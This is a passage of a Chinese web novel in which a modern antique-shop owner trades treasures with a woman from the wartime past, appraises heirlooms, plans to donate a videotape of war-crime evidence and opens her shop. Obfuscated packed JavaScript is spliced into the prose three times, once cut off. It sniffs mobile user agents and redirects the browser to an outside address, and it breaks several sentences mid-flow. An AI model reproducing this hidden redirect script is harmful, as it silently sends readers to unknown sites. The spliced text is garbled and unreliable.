流程全部走完，许年华乐呵呵离开，萧妧妧拿出圆形古墨。 系统扫描过后，看到172万的估价，她长舒一口气，还好还好，报价160万不算太亏。 萧妧妧喜滋滋地合上礼品盒，外卖刚好送到。 她拉着云昭昭坐下吃饭，手机叮叮叮响，是她特别关注的主播直播提醒。 萧妧妧几次想等主播上线帮忙鉴宝，每次都因店里太忙，直接错过鉴宝机会。 现在不同，系统开启了估价功能，萧妧妧便不那么急迫，她慢悠悠点开直播间，手机架在一旁，边听边吃。 不需要主播帮忙鉴宝，但萧妧妧不想错过学习机会。 对于珠宝和古董，她现在算门外汉，得抓紧机会学习提高自己。 云昭昭听着主播的讲解，面色越发疑惑，总觉得声音有点耳熟。 偷瞥一眼屏幕，看不到主播的脸，云昭昭收回目光，专心吃饭。 饭后休息一阵，云昭昭要赶下午的兼职，和萧妧妧交待一声先走了，萧妧妧目送她离开，感叹一句年轻真好，一宿没睡还有精力工作。 萧妧妧不行，困得脑袋一点一点，等了几分钟，苏娇娇一直没出现，她扛不住了，关上店门，去客房洗了个热水澡，打开空调美滋滋补觉。 空调被拉过头顶，在被窝里舒展酸疼的四肢，昏昏欲睡。 即将坠入沉眠的一刻，一道惊雷在脑海中划过，萧妧妧倏然睁眼，唰一下弹坐起身。 她不知道录像带里的具体内容，但看特务反应，猜测它不简单，从这个角度探究下去，萧妧妧忽然想起了原著剧情。 这段剧情她记得还算清晰，是《谍影》的故事开篇，从记者逃命的画面引到火车站，再引出男主和女配。 追捕外籍记者拿回录像带的过程全部发生在火车上，同一时间，书里的主角在火车上执行秘密任务，因这场意外不得不中断，下车时与女配苏娇娇产生了交集，隐晦而无望的爱在这一刻迸发，故事从这里开始。 后来，因这场意外，男主卷入了一个又一个危机中，好在有惊无险，完美化解，并与苏娇娇产生了深厚的情感。 至于后续，她只在评论区窥见一二，似乎是苏娇娇发现了男主的真实身份，得知亡夫是为男主而死，内心挣扎，难以释怀又不忍责怪男主，一个人跑去大后方继续自己的革命事业。 然而事情没完，男主身份泄露，苏娇娇接应男主撤离途中为男主挡枪，当场死亡。 萧妧妧抓了抓头，看来得买点防弹衣给苏娇娇备着。 从剧情中剥离出来，她转而开始思考录像带如何处置。 出场镜头仅有几秒的录像带确实不同寻常，是外籍记者潜入敌后拍摄下来的入侵者们的罪证。 原文剧情里只说录像带丢失，下落不明，真实情况无人得知。 可现在不一样，录像带辗转来到她手里，放在当下，那是入侵者的有力罪证，是珍贵史料！ 意识到这一点，她浑身血液沸腾起来，整个人都要红温了。 强迫自己冷静下来后后，萧妧妧稍稍转动脑筋，立刻有了想法。 而要达成目标，唯一要说服的只有苏娇娇。 萧妧妧相信自己可以说服苏娇娇，也相信苏娇娇会同意她这么做，高悬的心脏回到胸腔。 临睡前，萧妧妧紧急下单十件防刺防弹背心，又多买了些米面粮油等物资。 系统仓库扩大了真好，又可以买买买，不愁塞不下。 付款成功的那一刻，萧妧妧丢开手机仰倒回床铺上，胡思乱想中迷迷糊糊睡了过去。 悠悠转醒时，已是夕阳西下，萧妧妧望着昏暗房间揉揉眼睛，有种世界只剩下她一人的孤寂感。 “妧妧，妧妧你还在吗？” 低落情绪不过持续了十几秒，小卖部传来连声呼喊。 萧妧妧打起精神，嘴里应着“来了来了”，手忙脚乱地掀开被子起身。 她错估了自己，才曲起腿，伸出胳膊，一股强烈的酸疼感强势袭来，萧妧妧瞬间皱起五官，哎呦哎呦地呻吟，倒吸气。 睡了一觉，肌肉酸痛的情况非但没有好转，反而愈发严重起来，四肢仿佛重组一般，每个关节和肌肉都在抗议。 她挣扎着翻身下床，像不能自理的残障人士，趿拉着拖鞋一瘸一拐地出门，姿势稍显滑稽。 苏娇娇安全到家后，收拾一番迫不及待地来到小卖部，她有好多话想说，好多情绪要分享。 等她冷不丁看到萧妧妧僵硬的走姿，龇牙咧嘴的表情，到嘴边的话忘得一干二净。 “你这是怎么了？出什么事了？”她满脸关切地询问，快步走上前要搀扶。 萧妧妧连连摆手拒绝，缓慢前行几米远后，疼痛缓和不少，身体也逐渐适应了。 “没事没事，出门爬山去了，上下爬了一千多阶梯，运动过度，估计是肌肉拉伤。” 得知不是什么大问题，苏娇娇放心了，再看她蹒跚脚步，露在外面的小腿肚直发颤，颤巍巍拉来凳子坐下，一时间没忍住，噗呲一下笑出声，眉宇间的愁绪散去。 萧妧妧只当没看见她在偷笑，倒了两杯水，示意她坐下，率先开口说起正事。 “你那边什么情况？没被人发现吧？” 苏娇娇摇摇头，“有个好心人帮了我一把，没让特务查下去，查了也不碍事，反正录像带不在我手里。” 一次又一次，苏娇娇还是想感慨，小卖部真好用。 萧妧妧怕她下次塞一把gun进来，赶忙提醒，“小卖部禁止携带热武器，如果有需要你提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841153|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我说，我来修改权限。” 目前权限是初试状态，只可以携带冷兵器，要不是担心申明月进出不方便，她连冷兵器一并禁了。 苏娇娇笑了，眉眼弯弯，心脏充盈着暖流，她重重点头：“好。” 萧妧妧摆摆手，说起第二件事。 “娇娇姐，关于录像带，我大概已经知道里面是什么东西……” “你怎么会知道？里面到底有什么呀？” 话还没说完，就被苏娇娇震惊地打断，萧妧妧微微一顿，脸上的表情变得正经严肃。 她沉默了一小会儿，“罪证，侵略者的罪证。” 苏娇娇神情出现片刻空白，似乎感到有些意外，但很快又冷静下来，复杂难言的愤怒情绪占据了她的大脑。 “他们对外籍记者下手，那……”惊愕过后，苏娇娇恍然大悟，笃定开口：“我明白了，录像带里记下了见不得光的画面，所以他们不计代价的追杀她。” 萧妧妧：“娇娇姐，我想和你商量的就是这件事，你打算拿录像带回去怎么做？” 苏娇娇重重捶了下桌子，义愤填膺：“曝光！要让全世界的人知道他们在我们的土地上做了什么！” 萧妧妧舔了舔唇，小心翼翼地问：“那么，娇娇姐有办法公开录像带内容吗？” 仿佛一盆冷水当头浇下，原本气势汹汹的苏娇娇瞬间愣住了。 她缓缓坐回椅子上，整个人如同泄了气的皮球，显得无比颓丧。 “现在……你知道的，情况复杂，我甚至无法保证它的安全。” 就连能不能让录像曝光在公众视线里，苏娇娇也拿不准。 “娇娇姐，你想听听我的想法吗？”萧妧妧握住苏娇娇的手，“我想，这应该是风险最小，代价最小的方法。” 苏娇娇浑身一震，用力回握住萧妧妧的手，眼含期待。 如她所料，说服苏娇娇非常简单。 得知萧妧妧打算把录像带捐去博物馆，苏娇娇不由松了口气。 “妧妧，这事真的要谢谢你，”苏娇娇语气郑重：“我不知道要把它给谁，也不知道它能不能有曝光的机会。” 萧妧妧：“是我要谢你把它带来，才让它免于淹没在时间长河里，让真相被道出。” 苏娇娇像找到了志同道合的朋友，嘴角微扬，露出一抹温柔的笑容。 “我们俩就不要那么客气了，我同意你把它捐赠出去，”苏娇娇倏然微笑，目光缥缈，“我真想知道你那里是什么模样。” 萧妧妧仔细观察，迟钝发觉苏娇娇情绪不太对。 两人年纪差不太多，萧妧妧成天傻乐，二十多岁还像个小孩子，而苏娇娇，背负了太多沉重，不敢放下不能放下，坚定的向前。 萧妧妧心疼她，但言语是苍白的，任何安慰说出来都显得轻飘。 眼珠子一转，萧妧妧想到怎么安慰她了。 “这很容易，喏，我有电视机。”她打开电视机，补充：“你一直不问，我以为你对未来不感兴趣呢。” 苏娇娇紧张地交握双手，不知该看手机还是要看电视。 “并非如此，看到你生活得幸福快乐，又看到此地安宁平和，我知道这里的一切肯定都是极好的。能知晓这些，于我而言已然足矣。” 仅仅只是冰山一角，看到了后世的繁华，便已经给了她无限的勇气与信念。 她担心了解太多，会过度沉溺于未来美好景象之中而无法自拔，不敢再窥探，所以一直忍着。 萧妧妧打开电视，搜索视频投屏，下定决心务必让苏娇娇全方位地见识未来。 “不、不用了，”苏娇娇拉住她胳膊阻止，声音哽咽，“能看到这些我很满足了。” 萧妧妧转头，发现苏娇娇热泪盈眶，深深凝视着她的手机屏幕。 小小的画面里，有广袤无垠的农田里，金黄麦浪随风翻滚，孩童欢笑着穿梭；有连绵起伏的壮丽山川，云雾缭绕其间，太阳升起落下；有一架架飞机在跑道上升降，轰鸣声震耳欲聋，然后翱翔天际；威风凛凛的军舰静静停泊在港湾，飘扬旗帜下是一张张坚毅面容。 苏娇娇只窥见这一点点，便已心热如火，狂波激荡。 萧妧妧见她重新振作起来，昂扬着头颅，嗯了一声，停下动作。 苏娇娇平复情绪后，缓声说起另一件事。 “对了，我离开前交待管家帮忙收集古董，这次来也是想把它们带给你。” 62. 第 62 章 “它们？是不是有很多？” “都是古董吗？是不是花了很多金条？” “最近生意不错，赚了很多，娇娇姐你缺金子跟我说，我再给你一些。” 说到这，萧妧妧可就不困了，麻雀一样叽叽喳喳。 苏娇娇只微笑摇头，一副神秘兮兮的样子，“你等我一会，马上便知道了。” 难得见她卖关子，萧妧妧的好奇心瞬间被勾了起来，搓着手团团转。 没等她转第二圈，苏娇娇抱着两大盒子回来，看她吃力的表情、绷紧的胳膊，礼盒份量绝对不轻。 她小心翼翼将它们放在圆桌上，做出“请”的手势，示意萧妧妧揭开盒子。 萧妧妧哪里忍得住，憨笑两声迫不及待上前，掀开盒盖的一角。 身子稍稍俯下时，金光从缝隙中一闪而过，萧妧妧眼睛猛地一亮，脸上立刻浮现出惊喜的神色。 等盖子全部揭开，宝贝露出真容，萧妧妧倒吸一口气，不由自主地惊叹出声。 “天呐！它好美！” 萧妧妧见识到了真正的金枝玉叶，璀璨夺目的光芒令她目眩神迷、目瞪口呆、目不暇接。 摆在面前的是一棵树。 它有纯金枝干，每一根枝条都雕琢了纹路，显得极为精细； 它有翠玉叶片，大小、颜色深浅不一，薄薄一片，玉工连渐变都考虑进去，一眼看过去碧绿如茵，温润如玉，摇曳间清脆悦耳，美妙动人； 它有珍珠果实，3J车厘子那么大的金珍珠点缀其间，若隐若现； 它有红色珠花，辨别不出种类的红色珠子串成花朵，错落有致地分布在金枝头。 它被“栽种”在一个精美的陶盆里，而陶盆里，是大小相差无几的白珍珠，它们密密麻麻地堆积在一起，形成“珍珠泥土”，将整棵树稳稳地托起。 连盆带树，高度大约有五六十厘米左右，在小卖部的灯光照耀下，珠光宝气，整间铺子都因它熠熠生辉，不可谓不壮观。 苏娇娇留出足够时间给她欣赏，等萧妧妧上上下下看了一遍又一遍，她缓缓开口介绍。 “它叫金枝玉叶，我嫂嫂的陪嫁之一，枝干内里用的是紫檀木，外面包的真金，据说融了五百两黄金。 叶片用翡翠雕成，共计420片，金珠18颗，因为我嫂嫂是十八那年出嫁。 对了，还有藏在叶片里的红花，用的是珊瑚，一朵18颗，共20朵。 至于盆里的珍珠，原先是999颗，嫂嫂把玩时不慎遗失两颗，后来寻了新珠子补上，大小虽不是完全一致，但在众多珠子里很难看出差别。” 萧妧妧震撼到失语，嘴巴半张着，能塞下一个鸡蛋。 看得出来这棵“金枝玉叶”被主人好好养护着，搭配在一起本该俗气的色彩，却只觉得惊艳。 她情不自禁上手，指尖轻轻拨弄两下叶片，心也跟着颤了两下，赶紧扶住，免得让她碰碎了。 “喏，这是我记的账单，你若出手也好心里有数。” 萧妧妧接过纸条展开一看，嚯了一声。 100根小黄鱼，换算过来是5000克，再换算一下，现金大约320万。 换这么个宝贝，萧妧妧有种赚大了的感觉。 视线下移，她看到了第二件宝贝的买入价，整整250根小黄鱼！ 她又快速地重读了一遍，心中的惊讶与好奇愈发强烈起来，比“金枝玉叶”贵了一倍还多，这是什么稀世珍宝啊？ 萧妧妧暗自嘀咕两句，心跳跟着加快了节奏，见苏娇娇没有阻拦的意思，她果断掀开了第二个盒子。 相较于第一个而言，它略微扁平一些，两个盒子摆在一起显得不那么起眼，但谁能想到它价值竟远超前者。 萧妧妧抱着极高的期待，以为够见到一件光芒四射、令人惊艳不已的宝物，看清盒中的物品后，神色稍显失望。 盒子里的宝贝并不耀眼，甚至造型也不够华丽奇特。 它是一套围棋，有点特别的是，棋盘棋盅棋子分开保存，黑白两色棋子一枚一枚的陷在绒布铺设的凹槽里。 单看外表，萧妧妧对它的第一印象是过度包装，可转念一想，250根小黄鱼买下的宝贝怎么也不能平平无奇吧？ 萧妧妧找来手电，戴上乳胶手套，捏起一黑一白两颗棋子躺在手心里，低头细看。 “娇娇姐，白子是砗磲做的？” 看了好一会，萧妧妧语气飘忽的开口确认，似乎不敢相信自己的判断。 学得不多，刚好考到了重点。 这里的砗磲指得是深海里沉淀了千万年的砗磲化石原贝，和珊瑚、玳瑁、象牙一样，都属于很刑的那类。 砗磲本身的价值暂且不提，由它制成的围棋子具有极高收藏价值，收藏圈非常受欢迎。 傅教授直播时说过这么一句，可遇不可求。 而现在，可遇不可求的宝贝捏在手里由她把玩，萧妧妧不太自信。 怕自己闹出笑话，她又仔细辨别了一会。 棋子洁净、圆润，无裂无瑕无纹路，通体白色看不到一点杂色，和她戴过的象牙比质感上有点差别，显然是经过精心挑选、打磨。 具体差在哪，萧妧妧一时半会想不出形容词，但反正不是同一种东西。 苏娇娇投来赞赏的目光，“妧妧真厉害，能看出砗磲。没错，白子确实是砗磲，我大伯费了不少工夫集齐了180子。” 萧妧妧被她夸得脸红，她确实和博主学习了不少古董知识，只是距离一眼辨别的程度还差很远。 她是根据价格倒推，筛选出她所知道的白色宝石，再排除象牙的选项，一点点推理。 萧妧妧强压下内心炽热情绪，谦虚两句，目光转移到神秘的黑子上。 手电灯光打下去，幽幽绿光从黑子内部透射而出，色泽纯正。 调转角度举到眼前，黑子内部有不规则石棉，小小一点，可忽略不计。 透光度不佳、有灰白色石棉、表面色泽深光泽好、透绿色光……翡翠的特性它均有，萧妧妧基本可以断定，黑子由上好的翡翠制成。 透绿色光这一点可以排除是黑翡翠的可能，其他黑色宝石里，有类似特征的并不多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856479|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>综合各种信息，再搜索一遍她所了解的深色翡翠，萧妧妧惊疑不定的问：“……是墨玉还是墨翠？” 萧妧妧还没机会见识墨玉，只听博主讲解过，暂时还不能分清两者区别。 苏娇娇听她嘀嘀咕咕半天，分析出结果找她对答案，笑吟吟说：“你猜对了，是墨翠。 黑子共181颗，听大伯说，为了凑齐它们一共用了三块料子。 有杂质的不能要、石棉多的不能要、有绺和和裂痕的更不能要…… 淘汰了那些才留下的181枚黑子，说万里挑一夸张了些，千里挑一还是属实的。” 萧妧妧这回是真见世面了，老祖宗是真会玩。 她手上这一枚墨翠，小几万肯定是有的，具体价格不了解，得看行情。 而这样的墨翠棋子，盒子里还有180枚…… 萧妧妧差点让这惊喜冲得失去表情管理，眼睛瞪得圆溜溜，半天说不出话。 苏娇娇见她露出又呆又憨的模样，忍不住捂嘴偷笑。 萧妧妧意识到自己失态，深吸一口气，定了定神。 她双手并拢，小心翼翼将两枚棋子放回木匣子里，晃晃晕乎乎的脑袋瓜，看一眼棋盘，再转头，眼巴巴瞅着苏娇娇。 萧妧妧没学会怎么看木料，只能求助苏娇娇讲解。 苏娇娇心领神会，微笑着开口：“棋盘和棋盅的用料是紫檀木，大伯辗转多地请来御用工匠来制作，整版整料，精工雕花。” “嚯！” 后半句，苏娇娇加重语气强调，浅浅学过一点知识的萧妧妧发出没见过世面的低呼。 本就是名贵木材，还是整版整料，可见有多难得。 萧妧妧惊愕过后涌出一股欣喜，再低头去看棋盘，表面光泽亮丽，边沿刻有卷草纹样做装饰。 而一旁的棋盅，内里精心打磨，细腻光滑，一尘不染，盖与身雕了寓意吉祥的四蝠捧福禄寿纹，显得格外华丽。 许年华前脚说有买家特别喜爱收藏围棋，后脚苏娇娇给她送来了，正好省去她的麻烦。 萧妧妧只有一点顾虑，担心那位有元人吃不下。 刚刚没忍住，用系统估价功能扫描了一下，“金枝玉叶”估价790万，全套围棋更是翻了好几倍，达到了4300万的高价。 这还是系统学会了国人“保守”品格后给出的价格，只这一件，她投进去的本金就已经翻倍赚回来了。 萧妧妧有点腿软，还有点忐忑。 “娇娇姐，它们这么珍贵，真的是能用350根金条换回来的东西？” “是啊，都是好东西，”苏娇娇唏嘘：“不瞒你说，若不是我买下他们，嫂嫂和伯父还不知道该拿他们怎么办。” 云城大家族中，有十几户打算去国外置业，他们都在想法子出售带不走的珍宝，换成金银细软方便上路、或是积攒东山再起的资本。 供大于求，价格自然是一降再降，然而买得起的人并不多。 “不说这些了，我还有几样东西没拿来呢。” 苏娇娇迅速回神，又给了萧妧妧一个惊喜。 63. 第 63 章 “啊，还有？” 萧妧妧坐不住了，伸长了脖子，脑袋使劲往前探，大眼睛紧紧盯着结界。 古色古香的卧房里，大圆桌摆在正中间，桌上则整齐地堆叠着好几个礼盒。 虽然数量不少，但它们全部加在一起，却还比不上“金枝玉叶”的大礼盒来得引人注目。 她指了指圆桌，问：“不会是它们吧？” 苏娇娇甩了甩胳膊，“是它们，东西太多，只能多跑几趟了。” 前面那两件大家伙是真的沉，要不是想看萧妧妧又惊又喜的样子，她是不会逞强一次性搬过来的。 苏娇娇折返回去，抱来四个盒子，小圆桌已经被堆得满满当当，没有多余空间，转身将它们放在玻璃柜台上。 萧妧妧满心欢喜，一瘸一拐走到柜台边。 “我记得你曾经跟我说过想要一些茶壶之类的东西，正好，一个世伯是资深收藏家。 他最爱的那几套瓷壶日日要用，已经占了一个大行李箱，剩下的这些因为实在太多带不走，扔了舍不得，卖了又没人收，他听说我感兴趣，索性都送给我了，没花什么金子。 喏，就是这几件，世伯说客人拜访时送的，制壶的匠人名气虽不显，但技艺属实不错，迟早会大放光彩，世伯很看好他们，说是很有收藏价值。” 苏娇娇一边解释茶壶由来，一边打开其中三个礼盒的盖子。 萧妧妧听说是没名气的匠人，小小失望了片刻，又听她评价有收藏价值，好奇再度勾起。 她接过苏娇娇递来的茶壶，双手捧住，小心翼翼在眼前旋转，端详。 这把紫砂壶的造型倒是颇为传统，属于再常见不过的提梁式设计。 与现代那些五花八门、标新立异的款式相比，可以说是相当中规中矩。 也许正是它简约而经典的风格，赋予了它别样的韵味和魅力，萧妧妧说不出个一二三，但能品味出它的美。 至于怎么辨别紫砂壶品质的优劣，她一窍不通，多瞅几眼，把这个艰巨的任务交给专业的估价系统来处理。 萧妧妧没抱希望，随意一瞥，看见200万的估价，她震惊了。 “！！！”她忍不住低声惊呼。 苏娇娇见她神情淡淡，以为是不满意，正准备开口向她介绍第四件藏品的时候，萧妧妧霎时间瞪大双眼，脸上满是惊愕之色。 同样的表情，在展示“金枝玉叶”时出现过。 苏娇娇笑着打趣：“怎么一副见了鬼的样子。” 意识到手心里的小玩意价值200万，萧妧妧手心微汗，手掌紧紧拢起，防止紫砂壶滑脱。 她顾不上回应苏娇娇，谨慎捧着紫砂壶旋转一圈，寻找到款识，紧盯片刻分辨一会，萧妧妧脸上浮现出恍然大悟的神情。 “不是见鬼，是见到我的大宝贝了！” 苏娇娇更纳闷了，侧过身，探究的目光落在紫砂壶上。 萧妧妧稍稍挪了挪身子，将茶壶上的款识显露出来。 “看，盖款恺长、刻款云石，”萧妧妧语调微微上扬，难掩内心的激动之情，“说恺长可能知道的人不多，但他还有一个名字，朱可心！” 苏娇娇对紫砂壶所知甚少，茫然问：“朱可心……很厉害？” 萧妧妧哽住，转念一想，情有可原，苏娇娇那个年代，一代宗师朱可心差不多二三十岁左右，名气可能还没传播开？ 不像现在，许多人即便不了解朱可心，或多或少有听说过朱可心紫砂壶，知道它价格高，很受收藏圈追捧。 “朱可心是近代紫砂‘七大老艺人’之一，存世作品稀少，市场上流通交易的更是少之又少……”说到一半，萧妧妧停顿一会，热切凝视手上的提梁壶： “这么说来，这应该是他的早期作品，恺长是他原名，后来才更名为我们熟知的‘朱可心’。而这位云石，则是近现代声名远扬的紫砂陶刻大师级人物。” 怪她学艺不精，一开始没能辨认出那盖款上面的字，好在有系统帮忙。 苏娇娇总算听明白了，她那个年代名声不显的紫砂壶匠人，未来会是一代宗师，壶艺名家！ “天啊，这么珍贵的好东西，差点糟蹋了……”苏娇娇不禁连连惊叹，想起什么，兴奋招呼她，“妧妧你快来看第二件，这件也是朱可心的作品。” 萧妧妧眼睛一亮又一亮，提梁壶放回礼盒中，转而去看第二件藏品。 准确说是一个套组，一把小巧玲珑的茶壶，配两只造型别致的茶杯。 套组应该比单个壶更贵吧？ 萧妧妧不确定，估价功能打开一扫描，看到价格的她再次震惊了。 同样是早期作品，不过是多了两个小茶杯，价格翻了三倍！ 萧妧妧高兴得差点喊出声，急吼吼捧起第二件扁扁的紫砂壶。 小小一只，摆在手里能完全拢住，要是用它来泡茶的话，估计一壶水还没等品出什么滋味儿来，差不多就要见底了。 而这样一个看似不起眼的小东西，系统给出的估价竟然高达680万元！ 她左看看右看看，想知道到底哪里值这么多钱。 可惜，萧妧妧看不懂紫砂壶，只知道它手感润、容量小，对嘴喝刚刚好，但也仅止于此。 萧妧妧哇了好几声，欣赏了好一会才放回礼盒，去看第三件。 “这件出自我们那里的壶艺名家，成名不过五六年？” 苏娇娇开始努力回想着之前世伯跟她说过的话，并向萧妧妧复述，语气有些不确定。 她对收藏茶壶没兴趣，对什么壶艺名家就更不了解了，世伯解释时左耳进右耳出，随便听听而已，根本没往心里去。 要不是看萧妧妧对紫砂壶知道的比较多，苏娇娇根本不打算回忆。 萧妧妧一听是名家作品，按捺不住，迫不及待捧起来。 同样是套组，一茶壶六茶杯，和前面两件款式不太一样，这件壶身要更高一点，掀开盖子瞄一眼，萧妧妧估摸一下，能装一听可乐。 再去看款识，萧妧妧一脸懵。 她知道朱可心已经是这段时间疯狂补课后的成果，其他名家她真没听说过几个。 老流程，交给估价系统扫一遍，再掏出手机搜索上面的盖款。 萧妧妧认出一个舟字，没等她找到哪些名字里有舟字的壶艺名家，系统完成扫描，价格赤裸裸展示在图片下方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏娇娇摇摇头，抽出最为小巧的盒子。 “是一支牙雕彩绘牡丹，小玩意，胜在做工精巧，也是世伯送来的。” 萧妧妧已经无法正确对待苏娇娇所谓的“小玩意”“不值钱”，她带着质疑的目光看向最后一个盒子。 “哇……它好漂亮。” 它美得令人窒息，美到萧妧妧眼睛都看直了，她努力克制内心想要触摸的冲动，仅用眼神描绘每一处细节和轮廓。 牙雕牡丹约有20厘米长，尺寸恰到好处，非常适合拿在手中把玩欣赏。 花朵和她撑开的手掌一般大，花瓣层层叠叠地簇拥，每一片花瓣的纹理和色泽无一重复。 不仅如此，花枝和叶片也同样刻画得极为精细，纹路脉络清晰可见，细腻而逼真，宛如真实生长在那里。 乍一看去，仿佛能嗅到馥郁的香气。 萧妧妧发誓，哪怕它能卖出天价，也要把它留下珍藏。 64. 第 64 章 苏娇娇见她想碰不敢碰，可见是真心喜欢，心里越发得意。 不枉费她花了半日工夫挑挑拣拣。 “这几日有大行动要配合，最近恐怕没时间过来，你等我好消息。” 萧妧妧了然，剧情开始了，想必接下来的日子里，苏娇娇要忙得连轴转。 “我这点小事不着急，娇娇姐只管忙便是，万一有情况需要联系你，小卖部会出现在你面前。” 说是这么说，萧妧妧却不打算或者说不敢随便联络她。 所谓的互动升级，卖方可主动联系买家，说白了是结界主动出现在客户面前，像关不掉的弹窗广告一样。 任务过程中稍有差错便是万劫不复，萧妧妧不敢冒险，担心因为她联系得不是时候，让苏娇娇分心走神。 简单交谈几句，苏娇娇转身要回去，萧妧妧这边也同样有着一堆事情等待她去处理。 当务之急是将那几件宝贝塞进系统空间，其次是处理录像带。 一番深思熟虑后，她打算匿名捐赠。 破译甲骨文获得悬赏金的新闻，仍稳稳占据着热搜榜前列，凡是认出萧妧妧的，都从月亮号上找来确认。 有真心实意前来恭喜祝贺的，有好奇打听背后故事的，当然也少不了前来卖惨借钱的，萧妧妧应接不暇。 麻烦虽多，但带来的好处也是显而易见——不破斋成功地刷了一波存在感。 不少人知道月牙巷188号有个古董铺，买卖货真价实的古董、老物件。 尤其她新设的店铺账号，已经吸引了七八万人关注。 萧妧妧点进APP看到99+的小红点，差点以为自己遭遇网暴了。 要是再上一次新闻，不敢想会发展成什么样，还是保持低调行事更为妥当。 挑几个和店铺相关的留言认真予以回复，便匆匆退出了界面。 她敲字的片刻工夫里，蹭蹭涨了百来个粉，以至于手机出现卡顿情况。 趁着现在热度居高不下，萧妧妧回到后面的不破斋，又拍一个完整的店铺宣传视频挂上去，进一步提升店铺的知名度。 视频剪辑上传后，夜幕已然笼罩，萧妧妧活动一下她的老胳膊老腿，叫唤着离开188号。 周一是古董铺开业的日子。 萧妧妧拖着仍旧酸疼的身体，缓慢挪到店铺里忙着开业事宜。 招牌挂上青砖院墙，花篮在院子正门处排开摆放，等电子鞭炮响几声烘托出热闹气氛，不破斋冷冷清清的开业了。 意外的是，许年华送来了两个开业花篮。 更意外的是，黎行聿竟然也送了花篮来。 萧妧妧站在花篮前，看一眼上面的祝福语和落款，一时间有些摸不着头脑。 许年华好说，两人有来有往挺熟络了，甚至给她介绍过生意，黎行聿这是什么意思？自己与他的交情似乎没到这地步啊。 萧妧妧苦思冥想了一会，猜测是出于基本的社交礼仪吧。 想到这里，萧妧妧掏出手机，分别给他们发去感谢信息。 和许年华已经很熟悉了，没必要太客套，真诚一些足够了，黎行聿的花篮出乎意料，且和他的关系比不上许年华，所以要热情一点。 琢磨一阵，确认没有遗漏和错误之后，萧妧妧点击发送，这事算是忙完了。 站在院中央，左边是小卖部，右边是古董铺，左右看看，萧妧妧不禁笑出声。 这要是两边同时来客人，她可真不知道该先顾着哪一个。 “恭喜萧老板新店开业。” 说曹操曹操到，新店开业的第一个客人不知不觉出现在院子大门口。 萧妧妧以为会是文字博物馆的韩叔最先上门，听到声音时颇有些意外。 “黎行聿？” 萧妧妧又确认一遍，周一、正常工作日、早上九点，他怎么这时候过来了？ 来者是客，萧妧妧忙迎上去，领着他进了院子。 黎行聿打量院子，很快便把目光落在了一旁的开放式古董铺。 萧妧妧则不着痕迹地打量黎行聿。 前几次见他时多是穿着西装，虽说衣服剪裁得体，像量身定制一样完美，但也让他散发出浓烈的精英气息，沉闷之余显得气势过盛。 而当他穿上运动装时，则完全展现出另一种风格，好身材展露无疑，萧妧妧不好直白地盯着看。 今天打扮得恰到好处，令人眼前一亮。 一件宽松白衬衫罩在身上，领口略低，微敞着露出锁骨，慵懒随性不经意间流露出来。 袖子松松挽起半截，露出结实手臂和机械感十足的腕表，增添了一份硬朗与时尚。 下半身搭配了一条同色系的宽松长西裤，显腰身比例的同时更显腿长。 整体造型看似日常低调，实际暗藏玄机，因为这一整套都出自某大牌的秀场款。 男模穿它时会敞开上衣门襟，毫不吝啬展示自己的胸肌腹肌，风流潇洒。 同样的套装穿在黎行聿身上，既休闲自在，又不失时髦浪漫，虽然变得保守许多，却是另一种气质，毫不逊色于那些专业的英俊男模特。 不说年龄，谁能看得出他是快三十的人。 感受到扑面而来的清爽与亲和，萧妧妧当时就双眼放光，险些忍不住脱口而出一声“哇哦”。 她情不自禁地多瞄了几眼，看他迈步进了铺子，收敛心神跟上。 “黎行聿你眼光真好，这是我偶然得到的和田玉青白玉瓶，名字叫‘神女奔月’。 别看匠人名气不显，但雕刻技艺精湛，你看，瓶身图案不仅复杂，且还采用浮雕技术，很有收藏价值。” 见他驻足在门边的多宝架附近，微微俯身，目光专注地望着玉瓶，萧妧妧顺势介绍。 毕竟是九族严选的宫廷玉器，雕工、玉料，亦或是设计，都值得单拎出来细说一番。 萧妧妧很自信，只有黎行聿找不到合心意的，绝不存在找不到好东西的可能。 察觉到黎行聿目光停留的有些久，萧妧妧识趣地拿来手电筒和放大镜递给他，顺便抱起玉瓶挪到桌子上，由他品评。 “青白玉不宜靠近热源，也不宜放在阳光直射的地方，换个位置可能更适合它们。” 黎行聿半侧过身，示意多宝架上其他几件青白玉雕出的小摆件，轻声提醒她。 “热源……” 萧妧妧一脸懵逼回身，经他提醒后，看到多个射灯正对架子上的摆件，早晨的太阳照进屋里，好巧不巧打在多宝架上，瞬间明白了他的好意，语气急促的道谢。 第一天营业，萧妧妧为了让店铺看着亮堂些，把室□□灯全部打开，务必要把每件宝贝都衬托的莹润剔透，结果反倒是办坏事了。 萧妧妧尴尬地吐了吐舌，脸颊飞速涨红。 亏她前面说得头头是道，现在好了，一个小细节毁了她的人设，显得她这个古董铺老板很不专业。 